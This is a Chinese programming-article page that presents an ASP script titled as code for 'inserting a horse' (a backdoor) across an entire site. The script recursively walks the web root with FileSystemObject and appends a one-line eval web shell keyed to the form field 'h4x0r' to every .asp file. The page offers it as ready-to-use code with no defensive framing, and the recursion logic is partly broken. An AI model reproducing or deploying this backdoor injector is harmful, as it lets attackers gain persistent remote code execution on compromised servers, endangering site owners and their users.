欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

FSO遍历目录实现全站插马的代码

程序员文章站 2023-11-13 15:25:34
<% dim ph dim intfile server.scripttimeout = 600 ph=server.mapp...
<%
dim ph
dim intfile
server.scripttimeout = 600
ph=server.mappath("/") 
sub insertallfiles(path)
set fso = createobject("scripting.filesystemobject")
on error resume next 
set f = fso.getfolder(path)
set fc2 = f.files
for each myfile in fc2
if lcase(fso.getextensionname(path&""&myfile.name))="asp" then
set fs1 = createobject("scripting.filesystemobject")
set tfile=fs1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<script runat=server language=javascript>eval(request.form('h4x0r')+'')</script>"
else
insertallfiles(newpath)
end if
tfile.close
next
set fsubfolers = f.subfolders
for each f1 in fsubfolers
newpath=path&""&f1.name
insertallfiles(newpath)

next
set tfile=nothing
set fso = nothing
end sub
%>
<% 
call insertallfiles(ph)
%>